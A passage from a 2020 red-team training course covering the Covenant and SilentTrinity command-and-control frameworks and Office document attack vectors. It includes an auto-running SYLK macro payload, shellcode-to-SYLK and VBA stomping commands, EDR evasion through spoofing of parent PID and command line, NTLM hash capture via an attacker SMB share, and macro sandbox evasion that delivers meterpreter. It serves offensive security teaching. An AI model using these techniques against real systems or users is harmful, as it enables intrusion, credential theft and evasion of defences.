Studying all modules is something left for the student, but


some interesting functionality will be described.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.291


1.6.1 SilentTrinity

boo/ps: Discover processes running on the target with the following properties:
• Yellow: Current process
• Magenta: Web browser
• Blue: Background windows process
• Red: AV/HIDS
• Cyan: Sysadmin/Security Tools
• White: Developer tools, virtualization tools, misc.
• Green: Managed process, safe to inject as it has the .NET CLR Loaded.
• Attributes: Blinking affects OPSec and Bold are Injectable high-integrity processes.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.292


1.6.1 SilentTrinity

boo/inject: Injects a SilentTrinity session into the specified


process using shellcode. It uses Donut under the hood to
perform process migration.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.293


1.6.1 SilentTrinity

boo/minidump: Creates a memorydump of LSASS via the


MiniDumpWriteDump Win32 API Call then downloads the
dump and parses it for creds using Pypykatz. This is a
stealthier way of dumping lsass memory without executing
Mimikatz on the target computer.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.294
1.6.2 Covenant

Covenant is a .Net command and control with a web


interface that allows multi-user collaboration. It extensively
uses .NET tradecraft.

The team server is written in .NET Core and have docker


support, so it can be run in any platform supporting either
docker or .NET Core.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.295


1.6.2 Covenant

Some features to have into account about Covenant are:


• Dynamic Compilation using Roslyn API avoiding static
payloads
• Encrypted Key Exchange between implants and listeners.
Supports SSL Encryption
• Indicators menu allowing the operator to easily
summarize actions realized during an engagement to the
blue team
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.296
1.6.2 Covenant

Installation
For installing Covenant we need to first install .Net core
SDK on Linux. Latest version of .Net-SDK is 3.0, however
Covenant at the moment is using 2.2, for this reason, once
adding Microsoft key and feed has been finished, the
following code needs to be executed.
# Install .Net sdk-2.2
apt update && apt install apt-transport-https dotnet-sdk-2.2
# Install Covenant
git clone --recurse-submodules https://github.com/cobbr/Covenant /opt/Covenant
cd /opt/Covenant/Covenant
dotnet build
dotnet run

https://dotnet.microsoft.com/download/linux-package-manager/debian10/sdk-current
https://github.com/cobbr/Covenant PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.297
1.6.2 Covenant

A web interface will be


exposed on port 7443 where
the initial user needs to be
registered. This interface in the
team server must only be
exposed to trusted IPs. SSH
port redirection could also be
used.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.298


1.6.2 Covenant
• Dashboard: Overview of Grunts (agents), Listeners and
Taskings.
• Listeners: Create and Start/Stop Listeners
• Launchers: Generate different launchers
• Grunts: Interact with agents
• Templates: Create/Modify implant templates
• Tasks: Create/Modify existing tasks reference libraries,
assemblies and embedded resources
• Taskings: Overview of executed tasks
• Graph: Shows a map of current stablished agents with
listeners.
• Data: Information collected during engagements. It includes
credentials, downloads, indicators for the blue team and
screenshots.
• Users: Manage users and permissions
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.299
1.6.2 Covenant

Listeners
Covenant support listener profiles for controlling the
communication between listener and grunts.

Although there are some default listener profiles, these


could be easily flagged by any defenses within the
organization. It is recommended to develop new profiles to
blend on targets network.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.300
1.6.2 Covenant

New profiles can be created in Listeners -> Profiles menu. The details
needed to create a new profile are:
• Name: Name assigned to this profile
• Description: Should be documented in order to understand how the
profile works
• MessageTransform: Must be a Static C# class, cross-platform
compatible and compile under Net40, Net35 and NetCore21 It must
have a public Transform and Invert functions that mirrors each
other. It specifies how the communication data will be transformed
before being placed into HTTP Requests.
• HttpUrls: Used for grunts callbacks, they will be randomly selected
each time. The grunt GUI must be present here or in a single
HttpRequestHeader using (“{GUID}”).
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.301
1.6.2 Covenant

• HttpRequestHeaders: Headers to include in requests performed from the grunt


to the listener
• HttpResponseHeaders: Headers to include in HTTP responses from the listener
to the grunt
• HttpPostRequest: Format used by the grunt to posts data back to the listener.
Must include a location for the data to be placed by using the string (“{DATA}”).
• HttpGetResponse: Format used when a grunt callbacks for new tasks. Must
include a location for the data to be placed by using the string ({“DATA”}.
• HttpPostResponse: Format used when a grunt post data to the listener. Must
include a location for the data to be placed by using the string (“{DATA}”)

Profiles can be used to partially emulate properties from specific adversaries C2


frameworks.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.302


1.6.2 Covenant

Setting up a new listener can be done in Listeners -> Create


and filling up:
• Name: Name associated to the listener
• BindAddress: Local IP address to bind the listener
• BindPort: Local port to bind the listener
• ConnectPort: Callback port the grunt will be connecting
too. If HTTP Redirector are used, this should be the
redirector port
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.303
1.6.2 Covenant

• ConnectAddresses: Callback addresses, represent the


hostname portion of the URL. Multiple addresses can be
added in case there are more than one HTTP Redirector
for failure prevention.
• UseSSL: Determines if the listener uses HTTPS. A
certificate in PFX format needs to be provided.
• HttpProfile: Determines the behavior of the grunt and
listener.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.304
1.6.2 Covenant

Launchers
Launchers are used to generate and host binaries scripts or one-
liners to launch grunts for the selected listener. Currently there
are some predefined launchers:
• Binary: Generate custom binaries launching a grunt. These
can be .NET40, .NET35 or .NETCore21.
• Powershell: Generates powershell launcher or one-liner
• MSBuild: Generates an XML file that can be used with
msbuild.exe
• InstallUtil: Generates a XML file that can be used with
installutil.exe
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.305
1.6.2 Covenant

• DotNetToJScript based launchers, may not work under


Windows10 and Windows Server 2016. The following
binaries are used to launch them:
• Wmic.exe
• Regsvr32.exe
• Mshta.exe
• Cscript.exe
• Wscript.exe

https://github.com/tyranid/DotNetToJScript
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.306
1.6.2 Covenant

Tasks
Are the modules or built-in functions that can be executed
on grunts. These modules can be configured or created
using:
• Reference Assemblies: .NET assemblies referenced by a
Reference Source Library or Task. It will be included in
the task’s compilation
• Embedded Resources: Data files needed by a task.
Included as a resource in the task’s compilation.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.307
1.6.2 Covenant

• Reference Source Libraries: Complete .NET Framework


project referenced by a task. Currently built-in examples
include SharpSploit, Rubeus and some other GhostPack
projects. Reference Source Libraries applied to a task will
include all the project and its associated resources and
assemblies for the task’s compulation.
• Tasks: Functions assigned to grunts. Available to
execute by all operators in Covenant.
https://github.com/cobbr/SharpSploit
https://github.com/GhostPack/Rubeus PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.308
https://github.com/GhostPack/
1.6.2 Covenant

Grunts
Covenant’s implants appear here. The tabs in this section are:
• Info: Detailed information about the grunt. Delay, Jitter Killdate
and ConnectAttemps can be edited here.
• Interact: Command-line interface for interacting with the
grunts it has suggestions and autocomplete enabled
• Task: Configure a task execution for the grunt using the GUI
• Taskings: History of tasks and details executed in the grunt.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.309


1.6.2 Covenant

It is recommended to
perform safety checks
using Seatbelt module
before interacting with
the grunt.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.310


1.6.2 Covenant

Covenant will be heavily covered and used while red


teaming Active Directory in our labs.

Stay put…

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.311


1.7

Modern Social Engineering


Attack Vectors

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.312


1.7 Modern Social Engineering Attack Vectors

To conclude this module, let’s cover some modern social


engineering attack vectors that are being used by
adversaries.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.313


1.7.1 Excel 4.0 Macros

Excel 4.0 macros (XLM Macros) are a good alternative to


Visual Basic for Applications (VBA) Macros for offensive
purposes, as most of the things that can be done in VBA
are possible in XLM macros as well.

The main difference is that Component Object Model


(COM) was introduced later and cannot be accessed from
Excel 4.0 macros.
https://support.office.com/en-us/article/working-with-excel-4-0-macros-ba8924d4-e157-4bb2-8d76-2c07ff02e0b8
https://en.wikipedia.org/wiki/Component_Object_Model
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.314
1.7.1 Excel 4.0 Macros

At the time of writing most antivirus solutions have


problems detecting this kind of macros although the
technology is more than 25 years old.

The AMSI engine seems to also have a hard time detecting


this kind of macros.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.315


1.7.1 Excel 4.0 Macros

To create an Excel 4.0 Macro


in recent Excel versions, you
need to create a new
document and insert a macro
worksheet by right clicking
“Sheet1” in the bottom of the
screen and inserting a new
MS Excel 4.0 Macro.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.316


1.7.1 Excel 4.0 Macros

With this new ”Macro1” worksheet


XLM macros can be written. Test
by writing from the first cell:
=EXEC(“notepad.exe”)
=ALERT(“Hello from XLM
macros”)
=HALT()

Once finished, right click on the


first cell containing the macro
code and click run.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.317
1.7.1 Excel 4.0 Macros

In order to run the macro


automatically when the workbook
is opened the first cell inside the
”Macro1” worksheet must be
renamed to “Auto_open”.

The macro worksheet can also be


hidden by right clicking on the
sheet name and selecting hide.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.318
1.7.1 Excel 4.0 Macros

The REGISTER function on XLM macros can be used to


load exported DLL functions, including the Win32 API DLLs.

The SYLK file format was created in 1980s to introduce


exchange data between spreadsheets and databases.
Although this format is barely used, the slk extension is
associated by default to Excel.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.319


1.7.1 Excel 4.0 Macros

SYLK files are not affected by the Protected View sandbox,


meaning that files delivered via email or web are not affected by
the Mark-of-the-Web flag and they are also not included in MS
Outlook blocked attachments list, default OWA blocked
extensions list or marked as dangerous in Chrome’s safe
browsing file type list.

SYLK files also support XLM macros, making them a good


candidate for weaponization. Unfortunately, macros cannot be
embedded by simply trying to save an Excel file with a VBA
project to SYLK.
https://support.office.com/en-us/article/what-is-protected-view-d6f09ac7-e6b9-4495-8e43- PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.320
2bbcdbcb6653
1.7.1 Excel 4.0 Macros

To create a SYLK file with macros embedded, each line


needs to be no longer than 260 characters as otherwise
Excel will not parse that line.

ID;P
O;E
NN;NAuto_open;ER101C1
C;X1;Y101;EEXEC("CALC.EXE")
C;X1;Y102;EHALT()
E
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.321
1.7.1 Excel 4.0 Macros

The code above can be explained as follows:


❑ Line 1: “ID;P” is a marker indicating this file is a SYLK file
❑ Line 2: “O;E” indicates this is a macro-enabled document
❑ Line 3: “NN” indicates names record, “Auto_Open” for the cell
at row 101, column 1 “ER101C1”
❑ Line 4 and 5: Define the cell content “C”, “X” and “Y” are used
for marking row and columns (Row 1 column101 on line 4)
and “E” defines an expression value for the cell, in this case
XLM Macro functions.
❑ Line 6: “E” is used to define the end of the record
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.322
1.7.1 Excel 4.0 Macros

Shellcode_to_sylk or SharpShooter can be


used to perform process injection with
SYLK files via:
1. Creating a raw shellcode without null
bytes:
“msfvenom -a x86 --platform
windows -p windows/messagebox
TITLE="eLearnSecurity"
TEXT="Hello from Excel4.0
Macros" ICON=INFORMATION -b
"\x00" -f raw -o payload.bin”
2. Creating a SYLK file that runs the
shellcode via:
“python shellcode_to_sylk.py
payload.bin > file.slk”

https://github.com/outflanknl/Scripts/blob/master/shellcode_to_sylk.py PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.323


https://github.com/mdsecactivebreach/SharpShooter/blob/master/modules/excel4.py
1.7.2 Spoofing Parent Processes and Command Line
Arguments

Modern EDR solutions tend to use behavioral detection in


order to identify malware instead of static signatures like
hashes or domain names.

This will make a PowerShell process spawned by Microsoft


Word being flagged almost instantly.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.324


1.7.2 Spoofing Parent Processes and Command Line
Arguments

Windows creates an internal data structure every time a


process is created. This data structure is called Process
Environment Block (PEB) and it is mapped inside the
process virtual memory. It contains information about the
process such as the command line used to start the
process. Depending on the command line, this can also
make our payloads being flagged by EDR solutions.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.325


1.7.2 Spoofing Parent Processes and Command Line
Arguments

PEB is stored in the memory space of the process making it


easy to modify by having the necessary rights over the
process by:
1. Creating the process in a suspended state
2. Use NtQueryInformationProcess to find the PEB address
3. Use WriteProcessMemory to overwrite the command
line in the PEB
4. Resume the process
https://docs.microsoft.com/en-us/windows/desktop/api/winternl/nf-winternl-ntqueryinformationprocess PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.326
https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-writeprocessmemory
1.7.2 Spoofing Parent Processes and Command Line
Arguments

Windows will only log the command line used when


creating the process in suspended state and not the one
used when the process was resumed.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.327


1.7.2 Spoofing Parent Processes and Command Line
Arguments
Implementing these two techniques
in VBA by defining the appropriate
bindings and data structures will
allow spawning new processes
spoofing both the command line
arguments and the parent.

In the case of the picture, this


Process Create log will look better
to EDR solutions and will be able to
bypass some basic detection rules.
Image Source: https://blog.christophetd.fr/wp-content/uploads/2019/03/sysmon-powershell.png PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.328
1.7.2 Spoofing Parent Processes and Command Line
Arguments.
Spoofing-Office-Macro can be
used as an example to perform
Parent PID and Command Line
spoofing from VBA Macros.

It will retrieve the PID of a


legitimate process such as
explorer.exe and spawn a new
process with this process as a
parent in suspended state. Then, it
will modify the command line in
the PEB and resume the process.
https://github.com/christophetd/spoofing-office-macro/blob/master/macro.vba PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.329
1.7.3 Executable Database Files (ACCDE)

ACCDE Files are Microsoft Access Execute Only Database


files used to protect an ACCDB file. It replaces the MDE
format securing MDB files used before.

The VBA code inside ACCDE files cannot be viewed or


modified by the users.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.330


1.7.3 Executable Database Files (ACCDE)

To use ACCDE files for


payload execution, the
first step is to create a
blank database.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.331


1.7.3 Executable Database Files (ACCDE)

Navigate to the ”Create” tab


and select the ”module”
button next to the Macro
button group.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.332


1.7.3 Executable Database Files (ACCDE)

Use this new module to place a


VBA macro launching the
payload of choice and change
the name of the module to
make it look less suspicious.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.333


1.7.3 Executable Database Files (ACCDE)

In order to trigger the VBA code


placed inside the recently
created module, a new macro
needs to be added. This can be
done by creating a new macro
in the “Create” tab and
selecting “RunCode”. Use the
function name where the
payload launcher is located.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.334
1.7.3 Executable Database Files (ACCDE)

Under ”All Access Objects”


change the macro name to
“autoexec” to execute it as
soon as the document is
opened.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.335


1.7.3 Executable Database Files (ACCDE)

The file needs to be


converted to ACCDE to be
compiled into an executable
only file.

To do that move to ”Save


Database As” > “Make
ACCDE”
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.336
1.7.4 VBA Stomping

VBA Stomping refers to destroying the VBA source code in


a MS-Office document and leaving only the Pre-parsed
bytecode (P-Code) ready to be executed.

By using this technique, detection mechanisms based on


static code analysis will fail as the original code can be
different or just deleted.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.337


1.7.4 VBA Stomping

When the document file is opened, the P-Code will be used


to run the macro instead of the source code.

This technique only works if the P-Code was generated and


run in the same VBA project version, otherwise the source
code will be decompressed and recompiled into P-Code,
making this an obstacle for abusing this technique.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.338


1.7.4 VBA Stomping

EvilClippy can be used to abuse VBA Stomping and target


specific Office Versions. It can be installed by having Mono
in MacOS/Linux or Visual Studio in Windows.

# Clone the repository


git clone https://github.com/outflanknl/EvilClippy.git
# Compile for MacOS/Linux
mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll
/out:EvilClippy.exe *.cs
# Compile for Windows
csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll
/out:EvilClippy.exe *.cs
https://github.com/outflanknl/EvilClippy
https://www.mono-project.com/docs/about-mono/languages/csharp/ PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.339
1.7.4 VBA Stomping

Once EvilClippy is compiled there are several options to perform


VBA Stomping.
1. “EvilClippy.exe -s <FAKEVBA_FILE> macrofile.doc”
This will put fake VBA code in macrofile.doc document
leaving the P-Code intact. Remember that VBA Versions need
to match.

2. “EvilClippy.exe -s <FAKEVBA_FILE> -t <TARGET_VER>


macrofile.doc”. This is the same as the previous example
but targeting Office versions, for example; 2016x86 will work
against Word 2016 on x86.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.340
1.7.4 VBA Stomping
3. “EvilClippy.exe -s <FAKEVBA_FILE> -w 8080
macrofile.dot”. This will service the macrofile.dot file
via HTTP port 8080 automatically matching the target’s
office version by using its HTTP headers when retrieving
the file and then set the _VBA_PROJECT bytes
accordingly. Be aware that the file is a template, this can
be set via a URL from the developer toolbar in Word. The
FAKEVBA_FILE first line must be something like
“Attribute VB_Base = "0{00020906-0000-0000-C000-
000000000046}")” in order to be a valid macro for
templates.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.341
1.7.5 Abusing Excel Features

Get & Transform is a set of features included in Excel for


data gathering and shaping capabilities.

These features allow to connect, combine and refine data


sources for analysis.

https://support.office.com/en-us/article/get-transform-in-excel-881c63c6-37c5-4ca2-b616-59e18d75b4de
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.342
1.7.5 Abusing Excel Features

This connection to external sources can be abused to


extract NTLMv2 hashes via Responder, Impacket’s
smbserver, or any tool allowing to capture hashes.

https://github.com/lgandx/Responder
https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.343
1.7.5 Abusing Excel Features

The first step is to create a


new text file inside the
attacker’s machine with
some valid data.

Then, smbserver will be


started and serve this file.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.344


1.7.5 Abusing Excel Features

The next step is to create a


new Excel workbook and
under the “Data” tab select
“New Query” > “From Other
Sources” > “From Web”

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.345


1.7.5 Abusing Excel Features

In the URL field the path to


the previously created file
needs to be inserted.

In this case,
\\192.168.1.42\ELS\data.tx.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.346


1.7.5 Abusing Excel Features

The first connection will be


logged to the operator’s
machine and the default
import options can be
selected by pressing the
”Load” button.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.347


1.7.5 Abusing Excel Features

The user needs to refresh the data


from the document in order to
receive a new connection.

This can be solved by heading to


“Data” > “Connections” and editing
the connection properties so that
they match the ones on the picture.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.348
1.7.5 Abusing Excel Features

When the file is saved as a


normal xlsx file and sent to the
target, a prompt will appear to
enable External Data
Connections.

Once External Data


Connections are enabled we
will successfully capture the
hash.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.349
1.7.6 Evading Sandboxes and Application Whitelisting

MaliciousMacroGenerator is an open source Python script


that automates the creation of obfuscated macros with
sandbox and antivirus evasion techniques.

https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator/tree/master
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.350
1.7.6 Evading Sandboxes and Application Whitelisting

The evasion techniques that can be configured are:


• Domain Check: Check if the environment variable
USERDOMAIN matches with the preconfigured one in
order to execute the payload
• Disk Check: Checks for a minimum disk space to
execute the payload as VMs and test machines usually
have small disks
• Memory Check: VMs and test machines have less
resources than normal machines, this option checks for
a minimum memory size before executing the payload
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.351
1.7.6 Evading Sandboxes and Application Whitelisting

• Uptime Check: Check for the system uptime before


executing the payload
• Process Check: Check if specific process is running, for
instance, outlook.exe
• Obfuscation: Obfuscates the code for avoiding heuristic
detection

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.352


1.7.6 Evading Sandboxes and Application Whitelisting

To use the Msbuild template,


a payload needs to be
generated. This template will
be modified to accommodate
a meterpreter PowerShell
payload.

Line 28 will be modified to


execute a gzip compressed
payload as seen on the
picture.
https://github.com/giMini/PowerMemory/blob/master/RWMC/misc/reverseshell.xml
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.353
1.7.6 Evading Sandboxes and Application Whitelisting

The MaliciousMacroGenerator template used will be “wmi-


msbuild-evasion-domain.json”.

Using this template the payload will only execute if the DOMAIN
matches the configured one in “encodedvars” keys and msbuild
will be used to bypass application whitelisting.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.354
1.7.6 Evading Sandboxes and Application Whitelisting

In order to generate the macro use:


“python MMG.py <CONFIG_TEMPLATE> <OUTPUT_FILE>”
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.355
1.7.6 Evading Sandboxes and Application Whitelisting

The output file can be added as a macro to a MS Office


document, once the user opens and run the macro, msbuild
will launch the xml payload and establish a meterpreter
session.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.356
References

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.357


References
Here’s a list of all references linked or used in this course.
Sender Policy Framework
http://en.wikipedia.org/wiki/Sender_policy_framework

DomainKeys Identified Mail


http://en.wikipedia.org/wiki/DKIM

selector
http://www.dkim.org/info/dkim-faq.html#technical

DMARC
http://en.wikipedia.org/wiki/DMARC

HOW TO: Prevent annoying spam from your own domain


https://exchangepedia.com/2008/09/how-to-prevent-annoying-spam-from-your-own-domain.html

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.358


References
Office Open XML
http://officeopenxml.com/

Antimalware Scan Interface (AMSI)


https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx

Macro leveraging ActiveX controls (for code execution) and WMI Scripting
Library
https://gist.github.com/anonymous/70939438968194d2b0f4d5d2cc53c45e

Windows Script Host


https://msdn.microsoft.com/en-us/library/9bbdkx3k(v=vs.84).aspx

WshShell Object
https://msdn.microsoft.com/en-us/library/aew9yb99(v=vs.84).aspx

Using ActiveX controls for macro execution


https://gist.github.com/anonymous/3e669b249cc1a9343944a282cf30f0b8

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.359


References
Running Macros via ActiveX Controls
http://www.greyhathacker.net/?p=948

WMI Scripting Library


https://technet.microsoft.com/en-us/library/ee156554.aspx

WMI Tasks: Processes


https://msdn.microsoft.com/en-us/library/windows/desktop/aa394599(v=vs.85).aspx

IntPtr.Size Property
https://msdn.microsoft.com/en-us/library/system.intptr.size(v=vs.110).aspx

Macro leveraging ActiveX controls (for code execution) and WMI Scripting
Library
https://gist.github.com/anonymous/0e1abbf9364380294b5d9004e1d68213

Certutil
https://technet.microsoft.com/en-us/library/cc732443(v=ws.11).aspx

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.360


References
The classic download and execute macro, with a twist
https://gist.github.com/anonymous/3e7efa917632078693f9c8fdbb7cc756

MSXML1
https://msdn.microsoft.com/en-us/library/ms763742(v=vs.85).aspx

Using ServerXMLHTTP Directly


https://msdn.microsoft.com/en-us/library/ms766431(v=vs.85).aspx

Macro malware that retrieves the OS (Windows or OSX) and executes the
appropriate payload
https://gist.github.com/anonymous/db37338ba9c59336a0ee3d324d152bc9

EmPyre
https://github.com/EmpireProject/EmPyre

HOWTO Fetch Internet Resources Using urllib2


https://docs.python.org/2/howto/urllib2.html

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.361


References
DLL Search Order Hijacking
https://attack.mitre.org/wiki/Technique/T1038

metasploit-loader
https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c

Custom Meterpreter loader DLL


https://astr0baby.wordpress.com/2014/02/12/custom-meterpreter-loader-dll/

Customising Meterpreter Loader DLL part. 2


https://astr0baby.wordpress.com/2014/02/13/customising-meterpreter-loader-dll-part-2/

file2vbscript
http://www.didierstevens.com/files/software/file2vbscript_v0_3.zip

Packet Sniffing with PowerShell: Getting Started


https://blogs.technet.microsoft.com/heyscriptingguy/2015/10/12/packet-sniffing-with-powershell-
getting-started/
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.362
References
Network-tracing macro
https://gist.github.com/anonymous/a3ebd8928135ae29fc341c6036bc7eac

PowerShell malware
https://gist.github.com/anonymous/d0da355e5c21a122866808d37234cd5d

Fun with DNS TXT Records and PowerShell


http://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.html

Powershell, metasploit meterpreter and dns.


http://0entropy.blogspot.gr/2012/04/powershell-metasploit-meterpreter-and.html

One Template To Rule ‘Em All


https://labs.mwrinfosecurity.com/assets/BlogFiles/one-template-to-rule-them-all-t2.pdf

VBad
https://github.com/Pepitoh/Vbad

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.363


References
MS-OLEDS Introduction
https://msdn.microsoft.com/en-us/library/dd942142.aspx

About Dynamic Data Exchange


https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx

Comma Separated Vulnerabilities


https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/

MS16-032
https://web.archive.org/web/20161110175230/https://technet.microsoft.com/en-
us/library/security/ms16-032.aspx

Exploiting a Leaked Thread Handle


https://googleprojectzero.blogspot.gr/2016/03/exploiting-leaked-thread-handle.html

Invoke-MS16-032
https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-MS16-032.ps1

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.364


References
Modified-MS16-032.ps1
https://gist.github.com/ssherei/41eab0f2c038ce8b355acf80e9ebb980

Command Line Confusion


https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/

HTML to weaponize a CHM file


https://gist.github.com/anonymous/15e99d0fd883692bd2e300634ed3c09b

JSRat-Py
https://github.com/Hood3dRob1n/JSRat-Py

Out-CHM functionality
https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1

nishang
https://github.com/samratashok/nishang

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.365


References
AutoJSRat.py
https://gist.github.com/anonymous/ce4e2c4c83d900739395c695cc1ec55e

unicorn
https://github.com/trustedsec/unicorn

demiguise
https://github.com/nccgroup/demiguise

HTA with custom javascript backdoor


https://gist.github.com/anonymous/ed8801afafae5b4755b00a11c63c244e

Javascript Obfuscator
http://javascriptobfuscator.com/

Create LNK files


https://gist.github.com/anonymous/6fdb40bc8279671f7492f8d6625e9454

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.366


References
Excel Web Query Secrets Revealed
https://www.vertex42.com/News/excel-web-query.html

Abusing Web Query (.iqy) files for effective phishing


http://www.labofapenetrationtester.com/2015/08/abusing-web-query-iqy-files.html

phishery
https://github.com/ryhanson/phishery

#OLEOutlook - bypass almost every Corporate security control with a point’n’click GUI
https://medium.com/@networksecurity/oleoutlook-bypass-almost-every-corporate-security-control-
with-a-point-n-click-gui-37f4cbc107d0

Down the Rabbit Hole: Extracting Maliciousness from MSG Files Without Outlook
https://www.trustwave.com/Resources/SpiderLabs-Blog/Down-the-Rabbit-Hole--Extracting-
Maliciousness-from-MSG-Files-Without-Outlook/

Dropping Files Into Temp Folder Raises Security Concerns


https://web.archive.org/web/20170227205919/https://securingtomorrow.mcafee.com/mcafee-
labs/dropping-files-temp-folder-raises-security-concerns/
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.367
References
ClickOnce Security and Deployment
https://msdn.microsoft.com/en-us/library/t71a733d.aspx

Security Considerations for ClickOnce Deployments


https://web.archive.org/web/20150109032738/http://msdn.microsoft.com/en-
us/library/aa719097(v=vs.71).aspx

Powershell IE backdoor
https://khr0x40sh.wordpress.com/2014/08/22/powershell-ie-backdoor/

beacon.ps1
https://gist.github.com/anonymous/286688913bffa163f3c761cb123e3627

c2.php
https://gist.github.com/anonymous/e547d692d956396b6d37fdb74c7a6417

Navigate2 method
https://msdn.microsoft.com/en-us/library/aa752094(v=vs.85).aspx

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.368


References
All You Need is One - A ClickOnce Love Story - Secure360 2015
https://www.slideshare.net/NetSPI/all-you-need-is-one-a-click-once-love-story-secure360-2015

ConsoleApplication
https://gist.github.com/anonymous/41a0cc1f3f5434e12a018f2b2e71bd81

PowerPick
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick

PowerSploit
https://github.com/PowerShellMafia/PowerSploit

Justin Warner
http://www.sixdub.net/

ConsoleApplication2
https://gist.github.com/anonymous/759516440b9beaaf3e5a9b9f91531251

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.369


References
Invoke-Shellcode.ps1
https://gist.github.com/anonymous/d120e314fa97f9d493e8dcf784014961

LostPass
https://www.seancassidy.me/lostpass.html

Google Open URL Redirection Vulnerability which does the Social Engineering part too.
https://vagmour.eu/google-open-url-redirection/

capture_and_redirect.js
https://gist.github.com/anonymous/3bf8342c76eba4da3f660cbffa24f5d8

PayPal HTML Form


https://gist.github.com/anonymous/75b5eb6578bbc5bfcabe44e8fbb952ea

jquery.ba-hashchange.min.js
